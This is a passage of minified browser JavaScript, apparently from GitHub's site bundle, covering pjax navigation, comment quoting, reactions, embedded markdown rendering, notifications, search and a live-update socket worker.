t=e;for(;t;){const n=t.getAttribute("data-pjax");if(n&&n!=="true")return document.querySelector(n);t=t.parentElement&&t.parentElement.closest("[data-pjax]")}return e.closest("[data-pjax-container]")}s(yn,"detectContainer"),(0,c.on)("click","[data-pjax] a, a[data-pjax]",function(e){const t=e.currentTarget;if(t instanceof HTMLAnchorElement){if(t.getAttribute("data-skip-pjax")!=null||t.getAttribute("data-remote")!=null)return;const n=yn(t);n&&sa(e,{container:n,scrollTo:Ko(t)})}}),(0,c.on)("change","select[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);n&&(0,W.ZP)({url:t.value,container:n})});function sa(e,t){if((0,U.c)("TURBO"))return;const n=e.currentTarget;if(e.button!==0||e.metaKey||e.ctrlKey||e.shiftKey||e.altKey||location.protocol!==n.protocol||location.hostname!==n.hostname||n.href.indexOf("#")>-1&&Vo(n)===Vo(location)||e.defaultPrevented)return;const o={url:n.href,target:n,...t},r=new CustomEvent("pjax:click",{bubbles:!0,cancelable:!0,detail:{options:o,relatedEvent:e}});n.dispatchEvent(r)&&((0,W.ZP)(o),e.preventDefault(),n.dispatchEvent(new CustomEvent("pjax:clicked",{bubbles:!0,cancelable:!0,detail:{options:o}})))}s(sa,"click");function Vo(e){return e.href.replace(/#.*/,"")}s(Vo,"stripHash"),(0,c.on)("submit","form[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);if(!n)return;const o=Ko(t),r={type:(t.method||"GET").toUpperCase(),url:t.action,target:t,scrollTo:o,container:n};if(r.type==="GET"){if(t.querySelector("input[type=file]"))return;const i=ia(r.url);i.search+=(i.search?"&":"")+(0,L.qC)(t),r.url=i.toString()}else r.data=new FormData(t);(0,W.ZP)(r),e.preventDefault()});function ia(e){const t=document.createElement("a");return t.href=e,t}s(ia,"parseURL"),(0,u.N7)("body.js-print-popup",()=>{window.print(),setTimeout(window.close,1e3)}),(0,u.N7)("poll-include-fragment[data-redirect-url]",function(e){const t=e.getAttribute("data-redirect-url");e.addEventListener("load",function(){window.location.href=t})}),(0,u.N7)("poll-include-fragment[data-reload]",function(e){e.addEventListener("load",function(){window.location.reload()})});var aa=f(97474),ca=f(92003);const la="$__",Xo=document.querySelector("meta[name=js-proxy-site-detection-payload]"),Go=document.querySelector("meta[name=expected-hostname]");if(Xo instanceof HTMLMetaElement&&Go instanceof HTMLMetaElement&&(0,aa.Z)(document)){const e={url:window.location.href,expectedHostname:Go.content,documentHostname:document.location.hostname,proxyPayload:Xo.content},t=new Error,n={};n[`${la}`]=btoa(JSON.stringify(e)),(0,ca.eK)(t,n)}(0,j.w4)("keydown",".js-quick-submit",function(e){ua(e)});function ua(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.key==="Enter"){const n=t.form,o=n.querySelector("input[type=submit], button[type=submit]");if(e.shiftKey){const r=n.querySelector(".js-quick-submit-alternative");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&!r.disabled&&(0,L.Bt)(n,r)}else(o instanceof HTMLInputElement||o instanceof HTMLButtonElement)&&o.disabled||(0,L.Bt)(n);e.preventDefault()}}s(ua,"quickSubmit");var Zo=f(55498);let bt;(0,u.N7)(".js-comment-quote-reply",function(e){var t;e.hidden=((t=e.closest(".js-quote-selection-container"))==null?void 0:t.querySelector(".js-inline-comment-form-container textarea, .js-new-comment-form textarea"))==null});function Jo(e){return e.nodeName==="DIV"&&e.classList.contains("highlight")}s(Jo,"isHighlightContainer");function da(e){return e.nodeName==="IMG"||e.firstChild!=null}s(da,"hasContent");const Qo={PRE(e){const t=e.parentElement;if(t&&Jo(t)){const n=t.className.match(/highlight-source-(\S+)/),o=n?n[1]:"",r=(e.textContent||"").replace(/\n+$/,"");e.textContent=`\`\`\`${o} +${r} +\`\`\``,e.append(` + +`)}return e},A(e){const t=e.textContent||"";return e.classList.contains("user-mention")||e.classList.contains("team-mention")||e.classList.contains("issue-link")&&/^#\d+$/.test(t)?t:e},IMG(e){const t=e.getAttribute("alt");return t&&e.classList.contains("emoji")?t:e},DIV(e){if(e.classList.contains("js-suggested-changes-blob"))e.remove();else if(e.classList.contains("blob-wrapper-embedded")){const t=e.parentElement,n=t.querySelector("a[href]"),o=document.createElement("p");o.textContent=n.href,t.replaceWith(o)}return e}};function fa(e){const t=document.createNodeIterator(e,NodeFilter.SHOW_ELEMENT,{acceptNode(r){return r.nodeName in Qo&&da(r)?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),n=[];let o=t.nextNode();for(;o;)o instanceof HTMLElement&&n.push(o),o=t.nextNode();n.reverse();for(const r of n)r.replaceWith(Qo[r.nodeName](r))}s(fa,"insertMarkdownSyntax"),(0,c.on)("click",".js-comment-quote-reply",function({isTrusted:e,currentTarget:t}){const n=t.closest(".js-comment"),o=n.querySelector(".js-comment-body"),r=n.querySelector(".js-comment-body").cloneNode(!0),i=n.closest(".js-quote-selection-container"),a=o.querySelectorAll("button.js-convert-to-issue-button, span.js-clear");for(const w of a)w.remove();let l=new Zo.p;if(!e&&l.range.collapsed||(i.hasAttribute("data-quote-markdown")&&(l=new Zo.I(i.getAttribute("data-quote-markdown")||"",w=>{const S=l.range.startContainer.parentElement,R=S&&S.closest("pre");if(R instanceof HTMLElement){const I=R.parentElement;if(I&&Jo(I)){const F=document.createElement("div");F.className=I.className,F.appendChild(w),w.appendChild(F)}}fa(w)})),bt&&o.contains(bt.anchorNode)?l.range=bt.range:l.range.collapsed&&l.select(o),l.closest(".js-quote-selection-container")!==i))return;const y=l.range;i.dispatchEvent(new CustomEvent("quote-selection",{bubbles:!0,detail:l})),l.range=y;for(const w of i.querySelectorAll("textarea"))if((0,le.Z)(w)){l.insert(w);break}n.querySelector(".js-comment-body").replaceWith(r)});let vn;document.addEventListener("selectionchange",(0,P.D)(function(){const e=window.getSelection();let t;try{t=e.getRangeAt(0)}catch{vn=null;return}vn={anchorNode:e.anchorNode,range:t}},100)),document.addEventListener("toggle",()=>{bt=vn},{capture:!0});const ma=new ResizeObserver(e=>{for(const t of e)t.contentRect.height>26&&ha(t.target)});(0,u.N7)(".js-reactions-container",function(e){ma.observe(e)});function ha(e){const t=e.offsetWidth*.8,n=e.querySelectorAll(".js-reaction-group-button"),o=e.querySelector(".js-all-reactions-popover");let r=0;for(const i of n)r+=i.clientWidth;if(r+=(o==null?void 0:o.clientWidth)||0,ti?a.setAttribute("hidden","hidden"):a.removeAttribute("hidden"),i-=l}}}s(ha,"hideReactionOverflow"),(0,C.AC)(".js-pick-reaction",async function(e,t){const n=await t.json(),o=e.closest(".js-comment"),r=o.querySelector(".js-reactions-container"),i=o.querySelector(".js-comment-header-reaction-button"),a=(0,q.r)(document,n.json.reactions_container.trim()),l=(0,q.r)(document,n.json.comment_header_reaction_button.trim());r.replaceWith(a),i.replaceWith(l)});function Yo(e){const t=e.target,n=t.getAttribute("data-reaction-label"),r=t.closest(".js-add-reaction-popover").querySelector(".js-reaction-description");r.hasAttribute("data-default-text")||r.setAttribute("data-default-text",r.textContent||""),r.textContent=n}s(Yo,"showReactionContent");function er(e){const n=e.target.closest(".js-add-reaction-popover").querySelector(".js-reaction-description"),o=n.getAttribute("data-default-text");o&&(n.textContent=o)}s(er,"hideReactionContent"),(0,c.on)("toggle",".js-reaction-popover-container",function(e){const t=e.currentTarget.hasAttribute("open");for(const n of e.target.querySelectorAll(".js-reaction-option-item"))t?(n.addEventListener("mouseenter",Yo),n.addEventListener("mouseleave",er)):(n.removeEventListener("mouseenter",Yo),n.removeEventListener("mouseleave",er))},{capture:!0});var wn=f(2061);function pa(e,t,n){e.getAttribute("data-type")==="json"&&n.headers.set("Accept","application/json"),(0,c.f)(e,"deprecatedAjaxSend",{request:n}),t.text().catch(r=>{if(r.response)return r.response;throw r}).then(r=>{r.status<300?(0,c.f)(e,"deprecatedAjaxSuccess"):(0,c.f)(e,"deprecatedAjaxError",{error:r.statusText,status:r.status,text:r.text})},r=>{(0,c.f)(e,"deprecatedAjaxError",{error:r.message,status:0,text:null})}).then(()=>{(0,c.f)(e,"deprecatedAjaxComplete")})}s(pa,"submitWithLegacyEvents"),(0,c.on)("click",["form button:not([type])","form button[type=submit]","form input[type=submit]"].join(", "),function(e){const t=e.currentTarget;t.form&&!e.defaultPrevented&&(0,wn.j)(t)}),(0,C.AC)("form[data-remote]",pa),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e}){const t=(0,wn.u)(e);t&&t.remove()}),(0,C.uT)(e=>{const t=(0,wn.u)(e);t&&t.remove()}),(0,C.rK)(en.Z),(0,u.N7)(".has-removed-contents",function(){let e;return{add(t){e=Array.from(t.childNodes);for(const o of e)t.removeChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")},remove(t){for(const o of e)t.appendChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")}}});var fe=f(36162),ga=(e=>(e.Auto="auto",e.Light="light",e.Dark="dark",e))(ga||{});function ba(){return window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}s(ba,"getUserSystemColorMode");const En=".js-render-plaintext";function ya(e){const t=e.closest(".js-render-needs-enrichment");if(!t)return;t.querySelector(En)&&Ln(t,!1)}s(ya,"markdownEnrichmentSuccess");function va(e,t){Ln(e,!1),tr(e,!0),e.classList.add("render-error");const n=e.querySelector(En);if(!n)return;n.classList.remove("render-plaintext-hidden");const o=n.querySelector("pre");(0,fe.sY)(fe.dy`${t} ${o}`,n)}s(va,"showMarkdownRenderError");function Ln(e,t){const n=e.getElementsByClassName("js-render-enrichment-loader")[0],o=e.getElementsByClassName("render-expand")[0];n&&(n.hidden=!t),o&&(o.hidden=t)}s(Ln,"setCodeBlockLoaderVisibility");function tr(e,t){const n=e.querySelector(En);t?n.classList.remove("render-plaintext-hidden"):n.classList.add("render-plaintext-hidden")}s(tr,"setRawCodeBlockVisibility");class nr{constructor(t){this.el=t,this.enrichmentTarget=t.getElementsByClassName("js-render-enrichment-target")[0],this.iframeUrl=this.getIframeUrl(),this.identifier=this.el.getAttribute("data-identity"),this.iframeContentType=this.el.getAttribute("data-type"),this.iframeOrigin=new URL(this.iframeUrl,window.location.origin).origin,this.iframeContent=this.el.getAttribute("data-content"),Ln(this.el,!0)}enrich(){const t=this.createDialog();(0,fe.sY)(t,this.enrichmentTarget),this.setupModal()}getIframeUrl(){const t=(0,U.c)("GEOJSON_AZURE_MAPS"),n=this.el.getAttribute("data-src"),o=this.el.getAttribute("data-enterprise"),r={...this.colorMode(),azure_maps_enabled:t,enterprise_enable:o},i=Object.entries(r).map(([a,l])=>`${a}=${l}`).join("&");return`${n}?${i}`}colorMode(){var t;let n=(t=document.querySelector("html"))==null?void 0:t.getAttribute("data-color-mode");return(n==="auto"||!n)&&(n=ba()),{color_mode:n}}setupModal(){const t=this.generateIframeCode("-fullscreen"),n=this.el.querySelector(".Box-body");this.el.querySelector(".js-full-screen-render").addEventListener("click",()=>{(0,fe.sY)(t,n)})}createDialog(){const t=this.generateIframeCode();return fe.dy`
    +
    + + +
    + +
    +
    +
    +
    + ${t} +
    `}generateIframeCode(t=""){const n=this.identifier+t,o=`${this.iframeUrl}#${n}`;return fe.dy` +
    + +
    + `}}s(nr,"EnrichableMarkdownRenderer"),(0,u.N7)(".js-render-needs-enrichment",function(e){const t=e;new nr(t).enrich()}),(0,c.on)("preview:toggle:off",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment"),o=n==null?void 0:n.querySelector(".js-render-enrichment-target");!o||(o.innerHTML="")}),(0,c.on)("preview:rendered",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment");n&&tr(n,!1)});const cu=null,yt=["is-render-pending","is-render-ready","is-render-loading","is-render-loaded"],wa=["is-render-ready","is-render-loading","is-render-loaded","is-render-failed","is-render-failed-fatally"],Ue=new WeakMap;function or(e){const t=Ue.get(e);t!=null&&(t.load=t.hello=null,t.helloTimer&&(clearTimeout(t.helloTimer),t.helloTimer=null),t.loadTimer&&(clearTimeout(t.loadTimer),t.loadTimer=null))}s(or,"resetTiming");function Je(e,t=""){var n;e.classList.remove(...yt),e.classList.add("is-render-failed");const o=La(t),r=(n=e.parentElement)==null?void 0:n.closest(".js-render-needs-enrichment");r?va(r,o):Ea(e,o),or(e)}s(Je,"renderFailed");function Ea(e,t){const n=e.querySelector(".render-viewer-error");n&&(n.remove(),e.classList.remove("render-container"),(0,fe.sY)(t,e))}s(Ea,"fileRenderError");function La(e){let t=fe.dy`

    Unable to render code block

    `;if(e!==""){const n=e.split(` +`);t=fe.dy`

    Error rendering embedded code

    +

    ${n.map(o=>fe.dy`${o}
    `)}

    `}return fe.dy`
    ${t}
    `}s(La,"renderError");function rr(e,t=!1){var n;!(0,le.Z)(e)||e.classList.contains("is-render-ready")||e.classList.contains("is-render-failed")||e.classList.contains("is-render-failed-fatally")||t&&!((n=Ue.get(e))==null?void 0:n.hello)||Je(e)}s(rr,"timeoutWatchdog"),(0,u.N7)(".js-render-target",function(e){var t;const n=e;n.classList.remove(...wa),n.style.height="auto",!((t=Ue.get(e))==null?void 0:t.load)&&(or(e),!Ue.get(e)&&(Ue.set(e,{load:Date.now(),hello:null,helloTimer:window.setTimeout(rr,1e4,e,!0),loadTimer:window.setTimeout(rr,45e3,e)}),e.classList.add("is-render-automatic","is-render-requested")))});function vt(e,t){e&&e.postMessage&&e.postMessage(JSON.stringify(t),"*")}s(vt,"postAsJson");function ja(e){let t=e.data;if(!t)return;if(typeof t=="string")try{t=JSON.parse(t)}catch{return}if(t.type!=="render"||typeof t.identity!="string")return;const n=t.identity;if(typeof t.body!="string")return;const o=t.body;let r=null;for(const w of document.querySelectorAll(".js-render-target"))if(w.getAttribute("data-identity")===n){r=w;break}if(!r||e.origin!==r.getAttribute("data-host"))return;const i=t.payload!=null?t.payload:void 0,a=r.querySelector("iframe"),l=a==null?void 0:a.contentWindow;function y(){const w=a==null?void 0:a.getAttribute("data-content");if(!w)return;const S={type:"render:cmd",body:{cmd:"code_rendering_service:data:ready","code_rendering_service:data:ready":{data:JSON.parse(w).data,width:r==null?void 0:r.getBoundingClientRect().width}}};vt(l,S)}switch(s(y,"postData"),o){case"hello":{const w=Ue.get(r)||{untimed:!0};w.hello=Date.now();const S={type:"render:cmd",body:{cmd:"ack",ack:!0}},R={type:"render:cmd",body:{cmd:"branding",branding:!1}};if(!l)return;vt(l,S),vt(l,R)}break;case"error":i?Je(r,i.error):Je(r);break;case"error:fatal":{Je(r),r.classList.add("is-render-failed-fatal");break}case"error:invalid":Je(r),r.classList.add("is-render-failed-invalid");break;case"loading":r.classList.remove(...yt),r.classList.add("is-render-loading");break;case"loaded":r.classList.remove(...yt),r.classList.add("is-render-loaded");break;case"ready":ya(r),r.classList.remove(...yt),r.classList.add("is-render-ready"),i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`,location.hash!==""&&window.dispatchEvent(new HashChangeEvent("hashchange")));break;case"resize":i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`);break;case"code_rendering_service:container:get_size":vt(l,{type:"render:cmd",body:{cmd:"code_rendering_service:container:size","code_rendering_service:container:size":{width:r==null?void 0:r.getBoundingClientRect().width}}});break;case"code_rendering_service:markdown:get_data":if(!l)return;y();break;default:break}}s(ja,"handleMessage"),window.addEventListener("message",ja),(0,C.AC)("form[data-replace-remote-form]",async function(e,t){e.classList.remove("is-error"),e.classList.add("is-loading");try{let n=e;const o=await t.html(),r=e.closest("[data-replace-remote-form-target]");if(r){const i=r.getAttribute("data-replace-remote-form-target");n=i?document.getElementById(i):r}n.replaceWith(o.html)}catch{e.classList.remove("is-loading"),e.classList.add("is-error")}}),PerformanceObserver&&(PerformanceObserver.supportedEntryTypes||[]).includes("longtask")&&new PerformanceObserver(function(t){const n=t.getEntries().map(({name:o,duration:r})=>({name:o,duration:r,url:window.location.href}));(0,he.b)({longTasks:n})}).observe({entryTypes:["longtask"]});const sr=new WeakMap;function Sa(e){return e.closest("markdown-toolbar").field}s(Sa,"getTextarea"),(0,c.on)("click",".js-markdown-link-button",async function({currentTarget:e}){const n=document.querySelector(".js-markdown-link-dialog").content.cloneNode(!0);if(!(n instanceof DocumentFragment))return;const o=await(0,Te.W)({content:n,labelledBy:"box-title"});e instanceof HTMLElement&&sr.set(o,Sa(e).selectionEnd)}),(0,c.on)("click",".js-markdown-link-insert",({currentTarget:e})=>{const t=e.closest("details-dialog"),n=document.querySelector(`#${e.getAttribute("data-for-textarea")}`),o=sr.get(t)||0,r=t.querySelector("#js-dialog-link-href").value,a=`[${t.querySelector("#js-dialog-link-text").value}](${r}) `,l=n.value.slice(0,o),y=n.value.slice(o);n.value=l+a+y,n.focus(),n.selectionStart=n.selectionEnd=o+a.length});var lu=f(17300);(0,c.on)("details-menu-select",".js-saved-reply-menu",function(e){if(!(e.target instanceof Element))return;const t=e.detail.relatedTarget.querySelector(".js-saved-reply-body");if(!t)return;const n=(t.textContent||"").trim(),r=e.target.closest(".js-previewable-comment-form").querySelector("textarea.js-comment-field");(0,Ee.Om)(r,n),setTimeout(()=>r.focus(),0)},{capture:!0}),(0,j.w4)("keydown",".js-saved-reply-shortcut-comment-field",function(e){(0,$e.EL)(e)==="Control+."&&(e.target.closest(".js-previewable-comment-form").querySelector(".js-saved-reply-container").setAttribute("open",""),e.preventDefault())}),(0,j.w4)("keydown",".js-saved-reply-filter-input",function(e){if(/^Control\+[1-9]$/.test((0,$e.EL)(e))){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]'),o=Number(e.key),r=n[o-1];r instanceof HTMLElement&&(r.click(),e.preventDefault())}else if(e.key==="Enter"){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]');n.length>0&&n[0]instanceof HTMLButtonElement&&n[0].click(),e.preventDefault()}});var Ta=f(29790),Aa=f(19218);function Ca(e,t){return e.querySelector(`#LC${t}`)}s(Ca,"queryLineElement");function wt(e,t,n,o){const r=(0,Ta.M9)(e,l=>Ca(t,l));if(!r)return;if(n){const l=(0,Ee.yb)(r.startContainer.textContent,r.startOffset);if(l===-1)return;r.setStart(r.startContainer,l)}if(o){const l=(0,Ee.yb)(r.endContainer.textContent,r.endOffset);if(l===-1)return;r.setEnd(r.endContainer,l)}const i=document.createElement("span"),a=["text-bold","hx_keyword-hl","rounded-2","d-inline-block"];i.classList.add(...a),(0,Aa.v)(r,i)}s(wt,"highlightRange");function ka(e,t){if(e.start.line!==e.end.line){const n={start:{line:e.start.line,column:e.start.column},end:{line:e.start.line,column:null}};wt(n,t,!0,!1);for(let r=e.start.line+1;r=0;o?n.setAttribute("aria-current","page"):n.removeAttribute("aria-current"),n.classList.toggle("selected",o)}}s(jn,"updateSelectedRepoTab"),document.addEventListener("pjax:end",jn),document.addEventListener(Se.QE.FRAME_UPDATE,jn),document.addEventListener(Se.QE.SUCCESS,jn);var ir=f(11190),Ra=f(27034),_a=f(32904);async function Pa(){return(0,C.AC)(".js-notification-shelf .js-notification-action form",async function(e,t){if(e.hasAttribute("data-redirect-to-inbox-on-submit")){await ar(t);const o=document.querySelector(".js-notifications-back-to-inbox");o&&o.click();return}(0,_a.a)(e,e),await ar(t)})}s(Pa,"remoteShelfActionForm");function Ia(){const e=new URLSearchParams(window.location.search),t=(0,ir.n)(e);if(t){const n=new URL(window.location.href,window.location.origin);return n.search=t.toString(),n.toString()}}s(Ia,"urlWithoutNotificationParameters");function Da(e){if(!(e instanceof Ra.Z))return;const t=(0,ir.I)();if(!t)return;const n=e.getAttribute("data-base-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search);for(const[i,a]of Object.entries(t))typeof a=="string"&&r.set(i,a);o.search=r.toString(),e.setAttribute("src",o.toString())}s(Da,"loadShelfFromStoredParams");async function ar(e){try{await e.text()}catch{}}s(ar,"performRequest"),Pa();function cr(){const e=Ia();e&&(0,E.lO)(null,"",e)}s(cr,"removeNotificationParams"),cr(),document.addEventListener(Se.QE.SUCCESS,cr),(0,u.N7)(".js-notification-shelf-include-fragment",Da),(0,c.on)("submit",".js-mark-notification-form",async function(e){const t=e.currentTarget;e.preventDefault();try{await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}});async function lr(){await me.C;const e=document.querySelector(".js-mark-notification-form");e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(lr,"markNotificationAsRead"),document.addEventListener(Se.QE.SUCCESS,lr),lr();function Ha(e){return!!e.closest(".js-jump-to-field")}s(Ha,"isJumpToAvailable");function Sn(e,t){if(Ha(e))return;const n=document.querySelector(".js-site-search-form");document.querySelector(".js-site-search").classList.toggle("scoped-search",t);let o,r;t?(o=n.getAttribute("data-scoped-search-url"),r=e.getAttribute("data-scoped-placeholder")):(o=n.getAttribute("data-unscoped-search-url"),r=e.getAttribute("data-unscoped-placeholder")),n.setAttribute("action",o),e.setAttribute("placeholder",r)}s(Sn,"toggleSearchScope"),(0,j.w4)("keyup",".js-site-search-field",function(e){const t=e.target,n=t.value.length===0;n&&e.key==="Backspace"&&t.classList.contains("is-clearable")&&Sn(t,!1),n&&e.key==="Escape"&&Sn(t,!0),t.classList.toggle("is-clearable",n)}),(0,j.ZG)(".js-site-search-focus",function(e){const t=e.closest(".js-chromeless-input-container");t.classList.add("focus");function n(){t.classList.remove("focus"),e.value.length===0&&e.classList.contains("js-site-search-field")&&Sn(e,!0),e.removeEventListener("blur",n)}s(n,"blurHandler"),e.addEventListener("blur",n)}),(0,c.on)("submit",".js-site-search-form",function(e){if(!(e.target instanceof Element))return;const t=e.target.querySelector(".js-site-search-type-field");t.value=new URLSearchParams(window.location.search).get("type")||""});var Oa=f(54430);(0,u.N7)("textarea.js-size-to-fit",{constructor:HTMLTextAreaElement,subscribe:Oa.Z});var Tn=f(61161);(0,c.on)("click",".js-smoothscroll-anchor",function(e){const t=e.currentTarget;if(!(t instanceof HTMLAnchorElement))return;const n=(0,Tn.Kt)(document,t.hash);!n||(n.focus(),n.scrollIntoView({behavior:"smooth"}),e.preventDefault())});const Na=1e3,ur=new WeakMap,dr=document.querySelector("#snippet-clipboard-copy-button");async function Ba(e,t){const n=e.getAttribute("data-snippet-clipboard-copy-content");if(n===null||(e.removeAttribute("data-snippet-clipboard-copy-content"),!(dr instanceof HTMLTemplateElement)))return;const r=dr.content.cloneNode(!0).children[0];if(!(r instanceof HTMLElement))return;const i=r.children[0];if(!(i instanceof HTMLElement))return;i.setAttribute("value",n),document.addEventListener("selectionchange",()=>{const l=document.getSelection();if(l&&e.contains(l.anchorNode)){const y=l==null?void 0:l.toString();i.style.display=y.trim()===""?"inherit":"none"}},{signal:t});const a=e.querySelector("pre");if(a!==null){let l;a.addEventListener("scroll",()=>{l&&clearTimeout(l),i.style.display="none",l=setTimeout(()=>{i.style.display="inherit"},Na)},{signal:t})}e.appendChild(r)}s(Ba,"insertSnippetClipboardCopyButton"),(0,u.N7)("[data-snippet-clipboard-copy-content]",{constructor:HTMLElement,add(e){if(e.parentElement&&e.parentElement.classList.contains("js-no-snippet-clipboard-copy"))return;const t=new AbortController;ur.set(e,t),Ba(e,t.signal)}}),(0,u.N7)(".snippet-clipboard-content clipboard-copy",{constructor:HTMLElement,remove(e){const t=ur.get(e);t&&t.abort()}});function fr(e,t,n){mr(e,t),n&&e.classList.toggle("on");const o=Array.from(e.querySelectorAll(".js-social-updatable"),Me.x0);return Promise.all(o)}s(fr,"handleSocialResponse"),(0,C.AC)(".js-social-form",async function(e,t){var n,o;let r;const i=e.closest(".js-social-container"),a=e.classList.contains("js-deferred-toggler-target");try{r=await t.json(),i&&await fr(i,r.json.count,a)}catch(l){if(((n=l.response)==null?void 0:n.status)===409&&l.response.json.confirmationDialog){const y=l.response.json.confirmationDialog,w=document.querySelector(y.templateSelector),S=(o=e.querySelector(".js-confirm-csrf-token"))==null?void 0:o.value;if(w instanceof HTMLTemplateElement&&S){const R=new lt.R(w,{confirmUrl:e.action,confirmCsrfToken:S,...y.inputs||{}}),I=await(0,Te.W)({content:R});I.addEventListener("social-confirmation-form:success",async F=>{F instanceof CustomEvent&&i&&await fr(i,F.detail.count,a)}),I.addEventListener("social-confirmation-form:error",()=>{(0,T.v)()})}}else i&&!a&&i.classList.toggle("on"),(0,T.v)()}}),(0,C.AC)(".js-social-confirmation-form",async function(e,t){try{const n=await t.json();(0,c.f)(e,"social-confirmation-form:success",n.json)}catch{(0,c.f)(e,"social-confirmation-form:error")}});function mr(e,t){for(const n of e.querySelectorAll(".js-social-count")){n.textContent=t;const o=n.getAttribute("data-singular-suffix"),r=n.getAttribute("data-plural-suffix"),i=t==="1"?o:r;i&&n.setAttribute("aria-label",`${t} ${i}`)}}s(mr,"updateSocialCounts");var _e=f(21461);class hr extends _e.a2{constructor(t,n,o,r){super(t,()=>this.getUrlFromRefreshUrl(),o,r);this.refreshUrl=n}getUrlFromRefreshUrl(){return $a(this.refreshUrl)}}s(hr,"AliveSession");async function $a(e){const t=await Fa(e);return t&&t.url&&t.token?Ua(t.url,t.token):null}s($a,"fetchRefreshUrl");async function Fa(e){const t=await fetch(e,{headers:{Accept:"application/json"}});if(t.ok)return t.json();if(t.status===404)return null;throw new Error("fetch error")}s(Fa,"fetchJSON");async function Ua(e,t){const n=await fetch(e,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}});if(n.ok)return n.text();throw new Error("fetch error")}s(Ua,"post");const Et=[],Wa=3e4,za=0;let Lt=document.hidden,jt;function Ka(e){return e(Lt),Et.push(e),new M.w0(()=>{const t=Et.indexOf(e);t!==-1&&Et.splice(t,1)})}s(Ka,"addIdleStateListener"),document.addEventListener("visibilitychange",()=>{const e=document.hidden;jt!==void 0&&clearTimeout(jt),jt=setTimeout(()=>{if(e!==Lt){Lt=e,jt=void 0;for(const n of Et)n(Lt)}},e?Wa:za)});function Va(){return"SharedWorker"in window&&(0,$o.Z)("localStorage").getItem("bypassSharedWorker")!=="true"}s(Va,"isSharedWorkerSupported");function Xa(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket-src]"))==null?void 0:e.href)!=null?t:null}s(Xa,"workerSrc");function Ga(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.href)!=null?t:null}s(Ga,"socketUrl");function Za(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-refresh-url"))!=null?t:null}s(Za,"socketRefreshUrl");function Ja(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-session-id"))!=null?t:null}s(Ja,"sessionIdentifier");function Qa(e){return pr(e).map(t=>({subscriber:e,topic:t}))}s(Qa,"subscriptions");function pr(e){return(e.getAttribute("data-channel")||"").trim().split(/\s+/).map(_e.Zf.parse).filter(Ya)}s(pr,"channels");function Ya(e){return e!=null}s(Ya,"isPresent");function gr(e,{channel:t,type:n,data:o}){for(const r of e)r.dispatchEvent(new CustomEvent(`socket:${n}`,{bubbles:!1,cancelable:!1,detail:{name:t,data:o}}))}s(gr,"notify");class br{constructor(t,n,o,r,i){this.subscriptions=new _e.vk,this.presenceMetadata=new _e.ah,this.notifyPresenceDebouncedByChannel=new Map,this.notify=i,this.worker=new SharedWorker(t,`github-socket-worker-v2-${r}`),this.worker.port.onmessage=({data:a})=>this.receive(a),this.worker.port.postMessage({connect:{url:n,refreshUrl:o}})}subscribe(t){const n=this.subscriptions.add(...t);n.length&&this.worker.port.postMessage({subscribe:n});const o=new Set(n.map(i=>i.name)),r=t.reduce((i,a)=>{const l=a.topic.name;return(0,_e.A)(l)&&!o.has(l)&&i.add(l),i},new Set);r.size&&this.worker.port.postMessage({requestPresence:Array.from(r)})}unsubscribeAll(...t){const n=this.subscriptions.drain(...t);n.length&&this.worker.port.postMessage({unsubscribe:n});const o=this.presenceMetadata.removeSubscribers(t);this.sendPresenceMetadataUpdate(o)}updatePresenceMetadata(t){const n=new Set;for(const o of t)this.presenceMetadata.setMetadata(o),n.add(o.channelName);this.sendPresenceMetadataUpdate(n)}sendPresenceMetadataUpdate(t){if(!t.size)return;const n=[];for(const o of t)n.push({channelName:o,metadata:this.presenceMetadata.getChannelMetadata(o)});this.worker.port.postMessage({updatePresenceMetadata:n})}online(){this.worker.port.postMessage({online:!0})}offline(){this.worker.port.postMessage({online:!1})}hangup(){this.worker.port.postMessage({hangup:!0})}receive(t){const{channel:n}=t;if(t.type==="presence"){let o=this.notifyPresenceDebouncedByChannel.get(n);o||(o=(0,P.D)((r,i)=>{this.notify(r,i),this.notifyPresenceDebouncedByChannel.delete(n)},100),this.notifyPresenceDebouncedByChannel.set(n,o)),o(this.subscriptions.subscribers(n),t);return}this.notify(this.subscriptions.subscribers(n),t)}}s(br,"AliveSessionProxy");function ec(){const e=Xa();if(!e)return;const t=Ga();if(!t)return;const n=Za();if(!n)return;const o=Ja();if(!o)return;const i=s(()=>{if(Va())try{return new br(e,t,n,o,gr)}catch{}return new hr(t,n,!1,gr)},"createSession")(),a=(0,k.g)(w=>i.subscribe(w.flat())),l=(0,k.g)(w=>i.unsubscribeAll(...w)),y=(0,k.g)(w=>i.updatePresenceMetadata(w));(0,u.N7)(".js-socket-channel[data-channel]",{subscribe:w=>{const S=Qa(w),R=S.map(F=>F.topic.name).filter(F=>(0,_e.A)(F));let I={unsubscribe(){}};if(R.length){let F,X;const oe=s(()=>{const Q=[];F&&Q.push(F),X!==void 0&&Q.push({[_e.ZE]:X?1:0});for(const se of 